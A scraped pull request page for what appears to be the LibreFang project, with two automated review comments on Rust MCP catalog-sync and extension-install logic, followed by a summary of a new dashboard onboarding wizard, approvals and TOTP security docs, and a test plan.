If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| sync_flat_files( | ||
| &src_dir, | ||
| &home_dir.join("mcp").join("catalog"), | ||
| "mcp/catalog", |
There was a problem hiding this comment.
Copy directory-based MCP manifests during registry sync
This path syncs registry/mcp into ~/.librefang/mcp/catalog via sync_flat_files, but that helper only copies top-level *.toml files and skips directory entries. In this same change, catalog loading supports directory manifests (mcp/<id>/MCP.toml), so those entries will never be installed by sync_registry and therefore won’t appear in /api/mcp/catalog or CLI catalog views on fresh machines.
Useful? React with 👍 / 👎.
| if let Some(tid) = &s.template_id { | ||
| map.insert(tid.clone(), s); | ||
| } |
There was a problem hiding this comment.
Treat name-colliding MCP servers as installed extensions
installed_servers_by_template only indexes template_id, so a manually configured server whose name equals a catalog id is reported as available by /api/extensions. But install_extension rejects that same name (s.name == name) with 409, so clients can show an install action that deterministically fails. This endpoint should include name collisions in its installed-state computation to match install-time validation.
Useful? React with 👍 / 👎.
Summary
Ship a real first-run onboarding flow, document the approvals + TOTP security surface, and surface the pre-existing but orphaned security docs in the sidebar nav.
Dashboard
/wizard(WizardPage) — replaced the 3-step skeleton ({/* Logic here... */}placeholder, wrong button labels) with a working first-run wizard:/api/providers/{id}/test;setDefault+/api/init), then a success screen routing to Overview or Chat.Localized in
enandzh, accessible via skip link.addToast({type, message})call to the correct(string, type)signature.Docs
security/approvals(en + zh) — approval policy,second_factorscopes, TOTP enrollment flow, recovery codes, API reference, and a hardening checklist. Sourced fromApprovalPolicyinlibrefang-types/src/approval.rsand the live handlers inroutes/system.rs.security/{sandboxing,integrity,network-api,operations}pages plus the new approvals page, mirrored in the Chinese navigation.Test plan
pnpm typecheck(dashboard) — 0 errors (also fixed 3 pre-existing SkillsPage errors)pnpm build(dashboard) — built in 23spnpm test(dashboard) — 18/18 passingpnpm typecheck(docs) — 0 errorscargo check --workspace --lib --exclude librefang-desktop— green/wizardin a fresh install and walk through the three steps